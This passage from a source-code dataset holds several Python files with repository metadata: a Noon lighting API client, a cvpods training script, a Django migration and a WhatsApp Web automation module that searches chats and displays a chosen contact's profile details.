NoonAuthenticationError if parsed_response.get("errors") is not None: _LOGGER.error("Multiple authentication errors from Noon - {}".format(parsed_response["errors"])) raise NoonUnknownError try: self._token = parsed_response["token"] self._token_expires = datetime.datetime.now() + datetime.timedelta(seconds = (parsed_response["lifetime"]-30)) _LOGGER.debug("Got token from Noon. Expires at {}".format(self._token_expires)) except KeyError: _LOGGER.error("Failed to get token or lifetime from {}".format(parsed_response)) raise NoonUnknownError await self._refreshEndpoints() return True async def open_eventstream(self, event_loop=None): if event_loop is None: _LOGGER.debug("Using main asyncio event loop") event_loop = asyncio.get_running_loop() assert self._websocket_task is None or self._websocket_task.cancelled(), "Already running an event stream task" self._websocket_task = event_loop.create_task(self._internal_eventstream()) async def close_eventstream(self): if self._websocket_task is not None and not self._websocket_task.cancelled(): _LOGGER.debug("Canceling websocket task") self._websocket_task.cancel() async def _internal_eventstream(self): keep_looping = True while keep_looping: try: await self.authenticate() timeout = ClientTimeout(total=8, connect=20, sock_connect=20, sock_read=8) event_stream_url = "{}/api/notifications".format(self._endpoints["notification-ws"]) _LOGGER.debug("Connecting to notification stream...") async with self.session.ws_connect(event_stream_url, timeout=timeout, heartbeat=60, headers={"Authorization": "Token {}".format(self._token)}) as ws: _LOGGER.debug("Connected to notification stream") self._event_stream_connected = True self._event_stream_error = None async for msg in ws: if msg.type == WSMsgType.TEXT: _LOGGER.debug("Got websocket message: {}".format(msg.data)) parsed_data = json.loads(msg.data) changes = parsed_data["data"].get("changes", []) for change in changes: await self._handle_change(change) elif msg.type == WSMsgType.CLOSED: _LOGGER.error("Socket closed") raise NoonProtocolError("Notification stream closed unexpectedly") elif msg.type == WSMsgType.ERROR: _LOGGER.error("Websocket error") raise NoonProtocolError("Unknown error on notification stream") except CancelledError: _LOGGER.debug("Loop canceled.") self._event_stream_error = "Canceled" keep_looping = False except WSServerHandshakeError: _LOGGER.error("Loop Fatal: Handshake error") self._event_stream_error = "Handshake Error" keep_looping = False except Exception: _LOGGER.exception("Loop Fatal: Generic exception during event loop") self._event_stream_error = "Unknown exception - {}".format(traceback.format_exc()) keep_looping = False finally: _LOGGER.debug("Event stream is disconnected.") self._event_stream_connected = False async def _handle_change(self, change): guid = change.get("guid", None) if guid is None: _LOGGER.error("Cannot process change - no GUID in {}".format(change)) return affected_entity = self._all_entities.get(guid, None) if affected_entity is None: _LOGGER.debug("UNEXPECTED: Got change notification for {}, but not an expected entity! ({}".format(guid, change)) return _LOGGER.debug("Got change notification for '{}' - {}".format(affected_entity.name, change)) changed_fields = change.get("fields", []) return await affected_entity.handle_update(changed_fields) def get_entity(self, entity_id: Guid) -> NoonEntity: return self._all_entities.get(entity_id, None) async def _refreshEndpoints(self): if len(self._endpoints) > 0: return await self.authenticate() async with self.session.get(DEX_URL, headers={ "Authorization": "Token {}".format(self._token) }) as login_response: parsed_response = await login_response.json() if not isinstance(parsed_response, dict): _LOGGER.error("Response from get endpoints was not a dictionary - {}".format(parsed_response)) raise NoonProtocolError try: self._endpoints = parsed_response["endpoints"] except KeyError: _LOGGER.error("Unexpected endpoints response {}".format(parsed_response)) raise NoonUnknownError def _registerEntity(self, entity: NoonEntity): self._all_entities[entity.guid] = entity if isinstance(entity, NoonSpace): existingEntity = self._spaces.get(entity.guid, None) if existingEntity is not None: if entity.name != existingEntity.name and False: _LOGGER.error("New space '{}' has same ID as existing space '{}'".format(entity.name, existingEntity.name)) raise NoonDuplicateIdError else: return else: self._spaces[entity.guid] = entity if isinstance(entity, NoonLine): existingEntity = self._lines.get(entity.guid, None) if existingEntity is not None: if entity.name != existingEntity.name and False: _LOGGER.error("New line '{}' has same ID as existing line '{}'".format(entity.name, existingEntity.name)) raise NoonDuplicateIdError else: return else: self._lines[entity.guid] = entity if isinstance(entity, NoonScene): existingEntity = self._scenes.get(entity.guid, None) if existingEntity is not None: if entity.name != existingEntity.name and False: _LOGGER.error("New scene '{}' has same ID as existing scene '{}'".format(entity.name, existingEntity.name)) raise NoonDuplicateIdError else: return else: self._scenes[entity.guid] = entity async def _refreshDevices(self): self._spaces = {} self._scenes = {} self._lines = {} await self.authenticate() url = "{}/api/query".format(self._endpoints["query"]) headers = { "Authorization": "Token {}".format(self._token), "Content-Type": "application/graphql" } data = "{spaces {guid name lightsOn activeScene{guid name} lines{guid lineState displayName dimmingLevel multiwayMaster { guid }} scenes{name guid}}}" async with self.session.post(url, headers=headers, data=data) as discovery_response: parsed_response = await discovery_response.json() if not isinstance(parsed_response, dict): _LOGGER.error("Response from discovery was not a dictionary - {}".format(parsed_response)) raise NoonProtocolError for space in parsed_response["spaces"]: this_space = await NoonSpace.from_json(self, space) _LOGGER.debug("Discovered space {}".format(this_space.name))

true

f7052c1b310c4f6ff723bac7bb1d25d4a354f20d

6,206

py

Python

tools/train_net.py

lxtGH/cvpods-1

fb61b6a63dfa65b21a782a4fc7e15a88ce018c51

[ "Apache-2.0" ]

1

2021-04-24T17:01:29.000Z

tools/train_net.py

wondervictor/cvpods

614a975e5425bbaeb66bbd1ffca552d633ba89ca

[ "Apache-2.0" ]

null

tools/train_net.py

wondervictor/cvpods

614a975e5425bbaeb66bbd1ffca552d633ba89ca

[ "Apache-2.0" ]

null

# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved # Modified by BaseDetection, Inc. and its affiliates. All Rights Reserved """ Detection Training Script. This scripts reads a given config file and runs the training or evaluation. It is an entry point that is made to train standard models in cvpods. In order to let one script support training of many models, this script contains logic that are specific to these built-in models and therefore may not be suitable for your own project. For example, your research project perhaps only needs a single "evaluator". Therefore, we recommend you to use cvpods as an library and take this file as an example of how to use the library. You may want to write your own script with your datasets and other customizations. """ import logging import os import pickle as pkl import sys from collections import OrderedDict from colorama import Fore, Style import torch from cvpods.checkpoint import DetectionCheckpointer from cvpods.engine import DefaultTrainer, default_argument_parser, default_setup, hooks, launch from cvpods.evaluation import build_evaluator, verify_results from cvpods.modeling import GeneralizedRCNNWithTTA from cvpods.utils import comm sys.path.insert(0, '.') from config import config # noqa: E402 from net import build_model # noqa: E402 class Trainer(DefaultTrainer): """ We use the "DefaultTrainer" which contains pre-defined default logic for standard training workflow. They may not work for you, especially if you are working on a new research project. In that case you can use the cleaner "SimpleTrainer", or write your own training loop. You can use "tools/plain_train_net.py" as an example. """ @classmethod def build_evaluator(cls, cfg, dataset_name, dataset, output_folder=None): """ Create evaluator(s) for a given dataset. This uses the special metadata "evaluator_type" associated with each builtin dataset. For your own dataset, you can simply create an evaluator manually in your script and do not have to worry about the hacky if-else logic here. """ dump_train = config.GLOBAL.DUMP_TRAIN return build_evaluator(cfg, dataset_name, dataset, output_folder, dump=dump_train) @classmethod def test_with_TTA(cls, cfg, model): logger = logging.getLogger("cvpods.trainer") # In the end of training, run an evaluation with TTA # Only support some R-CNN models. logger.info("Running inference with test-time augmentation ...") model = GeneralizedRCNNWithTTA(cfg, model) res = cls.test(cfg, model, output_folder=os.path.join(cfg.OUTPUT_DIR, "inference_TTA")) res = OrderedDict({k + "_TTA": v for k, v in res.items()}) return res def stage_main(args, cfg, build): cfg.merge_from_list(args.opts) cfg, logger = default_setup(cfg, args) model_build_func = build """ If you'd like to do anything fancier than the standard training logic, consider writing your own training loop or subclassing the trainer. """ trainer = Trainer(cfg, model_build_func) trainer.resume_or_load(resume=args.resume) if args.eval_only: DetectionCheckpointer( trainer.model, save_dir=cfg.OUTPUT_DIR, resume=args.resume).resume_or_load( cfg.MODEL.WEIGHTS, resume=args.resume) res = Trainer.test(cfg, trainer.model) if comm.is_main_process(): verify_results(cfg, res) if cfg.TEST.AUG.ENABLED: res.update(Trainer.test_with_TTA(cfg, trainer.model)) return res # check wheather worksapce has enough storeage space # assume that a single dumped model is 700Mb file_sys = os.statvfs(cfg.OUTPUT_DIR) free_space_Gb = (file_sys.f_bfree * file_sys.f_frsize) / 2**30 eval_space_Gb = (cfg.SOLVER.LR_SCHEDULER.MAX_ITER // cfg.SOLVER.CHECKPOINT_PERIOD) * 700 / 2**10 if eval_space_Gb > free_space_Gb: logger.warning(f"{Fore.RED}Remaining space({free_space_Gb}GB) " f"is less than ({eval_space_Gb}GB){Style.RESET_ALL}") if cfg.TEST.AUG.ENABLED: trainer.register_hooks( [hooks.EvalHook(0, lambda: trainer.test_with_TTA(cfg, trainer.model))] ) trainer.train() if comm.is_main_process() and cfg.MODEL.AS_PRETRAIN: # convert last ckpt to pretrain format convert_to_pretrained_model( input=os.path.join(cfg.OUTPUT_DIR, "model_final.pth"), save_path=os.path.join(cfg.OUTPUT_DIR, "model_final_pretrain_weight.pkl") ) def convert_to_pretrained_model(input, save_path): obj = torch.load(input, map_location="cpu") obj = obj["model"] newmodel = {} for k, v in obj.items(): if not k.startswith("encoder_q.") and not k.startswith("network"): continue old_k = k if k.startswith("encoder_q."): k = k.replace("encoder_q.", "") elif k.startswith("network"): k = k.replace("network.", "") print(old_k, "->", k) newmodel[k] = v.numpy() res = { "model": newmodel, "__author__": "MOCO" if k.startswith("encoder_q.") else "CLS", "matching_heuristics": True } with open(save_path, "wb") as f: pkl.dump(res, f) def main(args): if isinstance(config, list): assert isinstance(build_model, list) and len(config) == len(build_model) for cfg, build in zip(config, build_model): stage_main(args, cfg, build) else: stage_main(args, config, build_model) if __name__ == "__main__": args = default_argument_parser().parse_args() if isinstance(config, list): assert len(config) > 0 print("soft link first config in list to {}".format(config[0].OUTPUT_DIR)) config[0].link_log() else: print("soft link to {}".format(config.OUTPUT_DIR)) config.link_log() print("Command Line Args:", args) launch( main, args.num_gpus, num_machines=args.num_machines, machine_rank=args.machine_rank, dist_url=args.dist_url, args=(args,), )

36.505882

100

0.679987

import logging import os import pickle as pkl import sys from collections import OrderedDict from colorama import Fore, Style import torch from cvpods.checkpoint import DetectionCheckpointer from cvpods.engine import DefaultTrainer, default_argument_parser, default_setup, hooks, launch from cvpods.evaluation import build_evaluator, verify_results from cvpods.modeling import GeneralizedRCNNWithTTA from cvpods.utils import comm sys.path.insert(0, '.') from config import config from net import build_model class Trainer(DefaultTrainer): @classmethod def build_evaluator(cls, cfg, dataset_name, dataset, output_folder=None): dump_train = config.GLOBAL.DUMP_TRAIN return build_evaluator(cfg, dataset_name, dataset, output_folder, dump=dump_train) @classmethod def test_with_TTA(cls, cfg, model): logger = logging.getLogger("cvpods.trainer") logger.info("Running inference with test-time augmentation ...") model = GeneralizedRCNNWithTTA(cfg, model) res = cls.test(cfg, model, output_folder=os.path.join(cfg.OUTPUT_DIR, "inference_TTA")) res = OrderedDict({k + "_TTA": v for k, v in res.items()}) return res def stage_main(args, cfg, build): cfg.merge_from_list(args.opts) cfg, logger = default_setup(cfg, args) model_build_func = build trainer = Trainer(cfg, model_build_func) trainer.resume_or_load(resume=args.resume) if args.eval_only: DetectionCheckpointer( trainer.model, save_dir=cfg.OUTPUT_DIR, resume=args.resume).resume_or_load( cfg.MODEL.WEIGHTS, resume=args.resume) res = Trainer.test(cfg, trainer.model) if comm.is_main_process(): verify_results(cfg, res) if cfg.TEST.AUG.ENABLED: res.update(Trainer.test_with_TTA(cfg, trainer.model)) return res file_sys = os.statvfs(cfg.OUTPUT_DIR) free_space_Gb = (file_sys.f_bfree * file_sys.f_frsize) / 2**30 eval_space_Gb = (cfg.SOLVER.LR_SCHEDULER.MAX_ITER // cfg.SOLVER.CHECKPOINT_PERIOD) * 700 / 2**10 if eval_space_Gb > free_space_Gb: logger.warning(f"{Fore.RED}Remaining space({free_space_Gb}GB) " f"is less than ({eval_space_Gb}GB){Style.RESET_ALL}") if cfg.TEST.AUG.ENABLED: trainer.register_hooks( [hooks.EvalHook(0, lambda: trainer.test_with_TTA(cfg, trainer.model))] ) trainer.train() if comm.is_main_process() and cfg.MODEL.AS_PRETRAIN: convert_to_pretrained_model( input=os.path.join(cfg.OUTPUT_DIR, "model_final.pth"), save_path=os.path.join(cfg.OUTPUT_DIR, "model_final_pretrain_weight.pkl") ) def convert_to_pretrained_model(input, save_path): obj = torch.load(input, map_location="cpu") obj = obj["model"] newmodel = {} for k, v in obj.items(): if not k.startswith("encoder_q.") and not k.startswith("network"): continue old_k = k if k.startswith("encoder_q."): k = k.replace("encoder_q.", "") elif k.startswith("network"): k = k.replace("network.", "") print(old_k, "->", k) newmodel[k] = v.numpy() res = { "model": newmodel, "__author__": "MOCO" if k.startswith("encoder_q.") else "CLS", "matching_heuristics": True } with open(save_path, "wb") as f: pkl.dump(res, f) def main(args): if isinstance(config, list): assert isinstance(build_model, list) and len(config) == len(build_model) for cfg, build in zip(config, build_model): stage_main(args, cfg, build) else: stage_main(args, config, build_model) if __name__ == "__main__": args = default_argument_parser().parse_args() if isinstance(config, list): assert len(config) > 0 print("soft link first config in list to {}".format(config[0].OUTPUT_DIR)) config[0].link_log() else: print("soft link to {}".format(config.OUTPUT_DIR)) config.link_log() print("Command Line Args:", args) launch( main, args.num_gpus, num_machines=args.num_machines, machine_rank=args.machine_rank, dist_url=args.dist_url, args=(args,), )

true

f7052ff86a7ae193a4261efa32bdb7d04b30b4c6

362

py

Python

core/migrations/0073_rename_name_lt_product_name.py

Nephrolog-lt/nephrolog-api

ccd2162aff02b2abfab0f285779e5d8457be1788

[ "Apache-2.0" ]

2

2020-12-17T13:50:42.000Z

2021-01-09T07:01:07.000Z

core/migrations/0073_rename_name_lt_product_name.py

Nephrolog-lt/nephrolog-api

ccd2162aff02b2abfab0f285779e5d8457be1788

[ "Apache-2.0" ]

2

2021-08-25T05:02:56.000Z

2022-01-16T18:29:49.000Z

core/migrations/0073_rename_name_lt_product_name.py

Nephrolog-lt/nephrolog-api

ccd2162aff02b2abfab0f285779e5d8457be1788

[ "Apache-2.0" ]

1

2020-11-16T01:40:15.000Z

# Generated by Django 3.2.3 on 2021-05-17 16:22 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0072_alter_product_region'), ] operations = [ migrations.RenameField( model_name='product', old_name='name_lt', new_name='name', ), ]

19.052632

47

0.582873

from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('core', '0072_alter_product_region'), ] operations = [ migrations.RenameField( model_name='product', old_name='name_lt', new_name='name', ), ]

true

f705308018a1ffa77d87e188b5c43d4d6f2d194a

18,888

py

Python

wplay/utils/target_search.py

payal-98/whatsapp-play

3d667ee26c2ef6c29a12a5338e22ec9f8458a55c

[ "MIT" ]

1

2020-03-25T12:25:40.000Z

wplay/utils/target_search.py

payal-98/whatsapp-play

3d667ee26c2ef6c29a12a5338e22ec9f8458a55c

[ "MIT" ]

null

wplay/utils/target_search.py

payal-98/whatsapp-play

3d667ee26c2ef6c29a12a5338e22ec9f8458a55c

[ "MIT" ]

null

__author__ = 'Alexandre Calil Martins Fonseca, github: xandao6' # region TUTORIAL ''' Go to region 'FOR SCRIPTING' and use the methods in your script! EXAMPLE OF USAGE: from wplay.pyppeteerUtils import pyppeteerConfig as pypConfig from wplay.pyppeteerUtils import pyppeteerSearch as pypSearch async def my_script(target): pages, browser = wait pyp.configure_browser_and_load_whatsapp(pypConfig.websites['whatsapp']) await pypSearch.search_for_target_and_get_ready_for_conversation(pages[0], target) message = pypSearch.ask_user_for_message_breakline_mode() await pypSearch.send_message(pages[0], message) message2 = pypSearch.ask_user_for_message() await pypSearch.send_message(pages[0], message2) ''' # endregion # region IMPORTS from wplay.utils.helpers import whatsapp_selectors_dict from wplay.utils import Logger from wplay.utils.helpers import logs_path from pyppeteer.errors import ElementHandleError # endregion # region FOR SCRIPTING async def search_and_select_target(page, target, hide_groups=False): await __open_new_chat(page) await __type_in_new_chat_search_bar(page, target) contact_list_elements_unchecked = await __get_contacts_elements_filtered(page, target) group_list_elements_unchecked = await __get_groups_elements_filtered(page, target, hide_groups) contact_titles_unchecked = await __get_contacts_titles_from_elements_unchecked(page, contact_list_elements_unchecked) group_titles_unchecked = await __get_groups_titles_from_elements_unchecked(page, group_list_elements_unchecked) contact_list_unchecked = __zip_contact_titles_and_elements_unchecked( contact_titles_unchecked, contact_list_elements_unchecked) group_list_unchecked = __zip_group_titles_and_elements_unchecked( group_titles_unchecked, group_list_elements_unchecked) contact_tuple = __check_contact_list(target, contact_list_unchecked) group_tuple = __check_group_list(target, group_list_unchecked) target_tuple = __get_target_tuple(contact_tuple, group_tuple) __print_target_tuple(target_tuple) target_index_choosed = __ask_user_to_choose_the_filtered_target(target_tuple) choosed_target = __get_choosed_target(target_tuple, target_index_choosed) await __navigate_to_target(page, choosed_target) target_focused_title = await __get_focused_target_title(page, target) if any(choosed_target[0] in i for i in contact_tuple): complete_target_info = await get_complete_info_on_target(page) print_complete_target_info(complete_target_info) await close_contact_info_page(page) else: __print_selected_target_title(target_focused_title) __check_target_focused_title(page, target, target_focused_title) await __wait_for_message_area(page) return target_focused_title async def search_and_select_target_without_new_chat_button(page,target, hide_groups=False): await __type_in_chat_or_message_search(page,target) chats_messages_groups_elements_list = await __get_chats_messages_groups_elements(page) contact_name_index_tuple_list = await __get_contacts_matched_with_query(chats_messages_groups_elements_list) group_name_index_tuple_list = await __get_groups_matched_with_query(chats_messages_groups_elements_list,hide_groups) target_tuple = (contact_name_index_tuple_list,group_name_index_tuple_list) __print_target_tuple(target_tuple) target_index_chosen = __ask_user_to_choose_the_filtered_target(target_tuple) #chosen_target will be a tuple (a,b) such that a is the name of the target and b is the #index of that element in chats_messages_groups_elements_list chosen_target = __get_choosed_target(target_tuple, target_index_chosen) await __open_selected_chat(chosen_target[1],chats_messages_groups_elements_list) target_name = chosen_target[0] if any(chosen_target[0] in i for i in contact_name_index_tuple_list): complete_target_info = await get_complete_info_on_target(page) print_complete_target_info(complete_target_info) await close_contact_info_page(page) else: __print_selected_target_title(target_name) await __wait_for_message_area(page) return target_name # endregion #region LOGGER create logger : Logger = Logger.setup_logger('logs',logs_path/'logs.log') #endregion # region SEARCH AND SELECT TARGET async def __type_in_chat_or_message_search(page,target): try: print(f'Looking for: {target}') await page.waitForSelector( whatsapp_selectors_dict['chat_or_message_search'], visible=True, timeout=0 ) await page.waitFor(500) await page.type(whatsapp_selectors_dict['chat_or_message_search'], target) await page.waitFor(3000) except Exception as e: print(e) async def __get_chats_messages_groups_elements(page): chats_messages_groups_elements_list = [] # type : list[int] try: chats_messages_groups_elements_list = await page.querySelectorAll\ (whatsapp_selectors_dict['chats_groups_messages_elements']) return chats_messages_groups_elements_list except Exception as e: print(e) exit() async def __get_contacts_matched_with_query(chats_groups_messages_elements_list): contacts_to_choose_from = [] # type : list[str , int] get_contact_node_title_function = 'node => node.parentNode.getAttribute("title")' for idx, element in enumerate(chats_groups_messages_elements_list): try: contact_name = await element.querySelectorEval(whatsapp_selectors_dict['contact_element'],get_contact_node_title_function) contacts_to_choose_from.append((contact_name,idx)) except ElementHandleError: # if it is not a contact element, move to the next one continue except Exception as e: print(e) return contacts_to_choose_from async def __get_groups_matched_with_query(chats_groups_messages_elements_list,hide_groups): groups_to_choose_from = [] if hide_groups: return groups_to_choose_from get_group_node_title_function = 'node => node.parentNode.getAttribute("title")' for idx, element in enumerate(chats_groups_messages_elements_list): try: group_name = await element.querySelectorEval(whatsapp_selectors_dict['group_element'], get_group_node_title_function) groups_to_choose_from.append((group_name,idx)) except ElementHandleError: # if it is not a contact element, move to the next one continue except Exception as e: print(e) return groups_to_choose_from async def __open_selected_chat(target_index,chats_messages_groups_elements_list): try: await chats_messages_groups_elements_list[target_index].click() except Exception as e: print(f"This target doesn't exist! Error: {str(e)}") exit() async def get_complete_info_on_target(page): contact_page_elements = [] try: await page.waitForSelector( whatsapp_selectors_dict['target_chat_header'], visible=True, timeout=3000 ) await page.click(whatsapp_selectors_dict['target_chat_header']) contact_page_elements = await get_contact_page_elements(page) complete_target_info = {} await get_contact_name_info(contact_page_elements[0], complete_target_info) await get_contact_about_and_phone(contact_page_elements[3], complete_target_info) await get_contact_groups_common_with_target(complete_target_info, page) except Exception as e: print(e) return complete_target_info async def get_contact_page_elements(page): contact_page_elements = [] try: await page.waitForSelector( whatsapp_selectors_dict['contact_info_page_elements'], visible=True, timeout=8000 ) contact_page_elements = await page.querySelectorAll(whatsapp_selectors_dict['contact_info_page_elements']) except Exception as e: print(e) return contact_page_elements async def get_contact_name_info(contact_name_element,complete_target_info): try: complete_target_info['Name'] = await contact_name_element.querySelectorEval('span > span', 'element => element.innerText') complete_target_info['Last_seen'] = await contact_name_element.querySelectorEval('div > span:last-of-type > div > span', 'element => element.getAttribute("title")') except: print(f'last seen not available') async def get_contact_about_and_phone(contact_name_element, complete_target_info): try: complete_target_info['About'] = await contact_name_element.querySelectorEval('div:nth-child(2) > div > div > span > span', 'element => element.getAttribute("title")') complete_target_info['Mobile'] = await contact_name_element.querySelectorEval('div:last-of-type > div > div > span > span', 'element => element.innerText') except Exception as e: print(e) async def get_contact_groups_common_with_target(complete_target_info,page): try: await page.waitForSelector( whatsapp_selectors_dict['contact_info_page_group_element_heading'], visible= True, timeout=3000 ) if (await page.evaluate(f'document.querySelector("{whatsapp_selectors_dict["contact_info_page_group_element_heading"]}").innerText'))\ == "Groups in common": group_elements = await page.querySelectorAll(whatsapp_selectors_dict['contact_info_page_group_elements']) complete_target_info['Groups'] = [await ele.querySelectorEval('div>div>div:nth-child(2)>div:first-child>div>div>span', 'e => e.getAttribute("title")') for ele in group_elements] else: complete_target_info['Groups'] = [] except: complete_target_info['Groups'] = [] print(f'No groups in common') async def close_contact_info_page(page): try: await page.waitForSelector( whatsapp_selectors_dict['contact_info_page_close_button'], visible = True, timeout = 5000 ) await page.click(whatsapp_selectors_dict['contact_info_page_close_button']) except Exception as e: print(e) def print_complete_target_info(complete_target_info): for key in complete_target_info.keys(): if key == "Groups": print("Groups:") print(*complete_target_info[key], sep=",") else: print(f'{key}: {complete_target_info[key]} ') async def __open_new_chat(page): await page.waitForSelector( whatsapp_selectors_dict['new_chat_button'], visible=True, timeout=0 ) await page.waitFor(500) await page.click(whatsapp_selectors_dict['new_chat_button']) async def __type_in_new_chat_search_bar(page, target): print(f'Looking for: {target}') logger.info('Searching Target') await page.waitForSelector( whatsapp_selectors_dict['search_contact_input_new_chat'], visible=True ) await page.type(whatsapp_selectors_dict['search_contact_input_new_chat'], target) await page.waitFor(3000) async def __get_contacts_elements_filtered(page, target): contact_list_elements_unchecked = list() try: await page.waitForSelector( whatsapp_selectors_dict['contact_list_elements_filtered_new_chat'], visible=True, timeout=3000 ) contact_list_elements_unchecked = await page.querySelectorAll( whatsapp_selectors_dict['contact_list_elements_filtered_new_chat'] ) except: print(f'No contact named by "{target}"!') logger.info('Target not found') return contact_list_elements_unchecked async def __get_groups_elements_filtered(page, target, hide_groups=False): group_list_elements_unchecked = list() if hide_groups: return group_list_elements_unchecked try: await page.waitForSelector( whatsapp_selectors_dict['group_list_elements_filtered_new_chat'], visible=True, timeout=3000 ) group_list_elements_unchecked = await page.querySelectorAll( whatsapp_selectors_dict['group_list_elements_filtered_new_chat'] ) except: print(f'No group named by "{target}"!') logger.info('Target not found in groups') return group_list_elements_unchecked async def __get_contacts_titles_from_elements_unchecked(page, contact_list_elements_unchecked): contact_titles_unchecked = [] for i in range(len(contact_list_elements_unchecked)): contact_titles_unchecked\ .append(await page.evaluate(f'document.querySelectorAll("{whatsapp_selectors_dict["contact_list_elements_filtered_new_chat"]}")[{i}].getAttribute("title")')) return contact_titles_unchecked async def __get_groups_titles_from_elements_unchecked(page, group_list_elements_unchecked): group_titles_unchecked = [] for i in range(len(group_list_elements_unchecked)): group_titles_unchecked.append(await page.evaluate(f'document.querySelectorAll("{whatsapp_selectors_dict["group_list_elements_filtered_new_chat"]}")[{i}].getAttribute("title")')) return group_titles_unchecked # contact_list_unchecked is a zip (list of tuples) of contact_titles and # contact elements, unchecked. def __zip_contact_titles_and_elements_unchecked(contact_titles_unchecked, contact_list_elements_unchecked): contact_list_unchecked = list(zip(contact_titles_unchecked, contact_list_elements_unchecked)) return contact_list_unchecked def __zip_group_titles_and_elements_unchecked(group_titles_unchecked, group_list_elements_unchecked): group_list_unchecked = list(zip(group_titles_unchecked, group_list_elements_unchecked)) return group_list_unchecked # __checking_contact_list verify if target is in title, if not we pop from list def __check_contact_list(target, contact_list_unchecked): i = 0 while i < len(contact_list_unchecked): if len(contact_list_unchecked) <= 0: break # we can add more verifications if we are getting false-positive contacts if contact_list_unchecked[i][0].lower().find(target.lower()) == -1: try: contact_list_unchecked.pop(i) except Exception as e: print(f'Error: {str(e)}') i -= 1 i += 1 contact_tuple = tuple(contact_list_unchecked) return contact_tuple def __check_group_list(target, group_list_unchecked): i = 0 while i < len(group_list_unchecked): if len(group_list_unchecked) <= 0: break # we can add more verifications if we are getting false-positive groups if group_list_unchecked[i][0].lower().find(target.lower()) == -1: try: group_list_unchecked.pop(i) except Exception as e: print(f'Error: {str(e)}') i -= 1 i += 1 group_tuple = tuple(group_list_unchecked) return group_tuple # target_list is like that: (((0, 'a'), (1, 'b')), ((3, 'c'), (4, 'd'))), # but instead numbers and letters we have titles and elements # the first index is the contacts and the second is the groups def __get_target_tuple(contact_tuple, group_tuple): target_tuple = (contact_tuple, group_tuple) return target_tuple def __print_target_tuple(target_tuple): lenght_of_contacts_tuple = len(target_tuple[0]) lenght_of_groups_tuple = len(target_tuple[1]) for i in range(lenght_of_contacts_tuple): if lenght_of_contacts_tuple <= 0: break if i == 0: print("Contacts found:") logger.info('List of Targets') print(f'{i}: {target_tuple[0][i][0]}') for i in range(lenght_of_contacts_tuple, lenght_of_groups_tuple + lenght_of_contacts_tuple): if lenght_of_groups_tuple <= 0: break if i == lenght_of_contacts_tuple: print("Groups found:") logger.info('List of Target in groups') print(f'{i}: {target_tuple[1][i-lenght_of_contacts_tuple][0]}') def __ask_user_to_choose_the_filtered_target(target_tuple): if len(target_tuple[0] + target_tuple[1]) > 0: logger.info('Input Target Number') target_index_choosed = int( input('Enter the number of the target you wish to choose: ')) return target_index_choosed def __get_choosed_target(target_tuple, target_index_choosed): lenght_of_contacts_tuple = len(target_tuple[0]) if target_index_choosed is None: exit() try: if target_index_choosed < lenght_of_contacts_tuple: choosed_target = target_tuple[0][target_index_choosed] elif target_index_choosed >= lenght_of_contacts_tuple: choosed_target = target_tuple[1][target_index_choosed - lenght_of_contacts_tuple] else: print("This target doesn't exist!") logger.error('Invalid Target') exit() except Exception as e: print(f"This target doesn't exist! Error: {str(e)}") logger.error('Invalid Target') exit() return choosed_target async def __navigate_to_target(page, choosed_target): try: await choosed_target[1].click() except Exception as e: print(f"This target doesn't exist! Error: {str(e)}") logger.error('Invalid Target') exit() async def __get_focused_target_title(page, target): try: await page.waitForSelector(whatsapp_selectors_dict['target_focused_title']) target_focused_title = await page.evaluate(f'document.querySelector("{whatsapp_selectors_dict["target_focused_title"]}").getAttribute("title")') except Exception as e: print(f'No target selected! Error: {str(e)}') logger.error('Target not selected from list') exit() return target_focused_title def __print_selected_target_title(target_focused_title): print(f"You've selected the target named by: {target_focused_title}") logger.info('Selected Target') def __check_target_focused_title(page, target, target_focused_title): if target_focused_title.lower().find(target.lower()) == -1: print(f"You're focused in the wrong target, {target_focused_title}") must_continue = str(input("Do you want to continue (yes/no)? ")) accepted_yes = {'yes', 'y'} if must_continue.lower() in accepted_yes: pass else: exit() async def __wait_for_message_area(page): try: await page.waitForSelector(whatsapp_selectors_dict['message_area']) except Exception as e: print(f"You don't belong this group anymore! Error: {str(e)}") # endregion

38.94433

189

0.72194

__author__ = 'Alexandre Calil Martins Fonseca, github: xandao6' from wplay.utils.helpers import whatsapp_selectors_dict from wplay.utils import Logger from wplay.utils.helpers import logs_path from pyppeteer.errors import ElementHandleError async def search_and_select_target(page, target, hide_groups=False): await __open_new_chat(page) await __type_in_new_chat_search_bar(page, target) contact_list_elements_unchecked = await __get_contacts_elements_filtered(page, target) group_list_elements_unchecked = await __get_groups_elements_filtered(page, target, hide_groups) contact_titles_unchecked = await __get_contacts_titles_from_elements_unchecked(page, contact_list_elements_unchecked) group_titles_unchecked = await __get_groups_titles_from_elements_unchecked(page, group_list_elements_unchecked) contact_list_unchecked = __zip_contact_titles_and_elements_unchecked( contact_titles_unchecked, contact_list_elements_unchecked) group_list_unchecked = __zip_group_titles_and_elements_unchecked( group_titles_unchecked, group_list_elements_unchecked) contact_tuple = __check_contact_list(target, contact_list_unchecked) group_tuple = __check_group_list(target, group_list_unchecked) target_tuple = __get_target_tuple(contact_tuple, group_tuple) __print_target_tuple(target_tuple) target_index_choosed = __ask_user_to_choose_the_filtered_target(target_tuple) choosed_target = __get_choosed_target(target_tuple, target_index_choosed) await __navigate_to_target(page, choosed_target) target_focused_title = await __get_focused_target_title(page, target) if any(choosed_target[0] in i for i in contact_tuple): complete_target_info = await get_complete_info_on_target(page) print_complete_target_info(complete_target_info) await close_contact_info_page(page) else: __print_selected_target_title(target_focused_title) __check_target_focused_title(page, target, target_focused_title) await __wait_for_message_area(page) return target_focused_title async def search_and_select_target_without_new_chat_button(page,target, hide_groups=False): await __type_in_chat_or_message_search(page,target) chats_messages_groups_elements_list = await __get_chats_messages_groups_elements(page) contact_name_index_tuple_list = await __get_contacts_matched_with_query(chats_messages_groups_elements_list) group_name_index_tuple_list = await __get_groups_matched_with_query(chats_messages_groups_elements_list,hide_groups) target_tuple = (contact_name_index_tuple_list,group_name_index_tuple_list) __print_target_tuple(target_tuple) target_index_chosen = __ask_user_to_choose_the_filtered_target(target_tuple) chosen_target = __get_choosed_target(target_tuple, target_index_chosen) await __open_selected_chat(chosen_target[1],chats_messages_groups_elements_list) target_name = chosen_target[0] if any(chosen_target[0] in i for i in contact_name_index_tuple_list): complete_target_info = await get_complete_info_on_target(page) print_complete_target_info(complete_target_info) await close_contact_info_page(page) else: __print_selected_target_title(target_name) await __wait_for_message_area(page) return target_name logger : Logger = Logger.setup_logger('logs',logs_path/'logs.log') async def 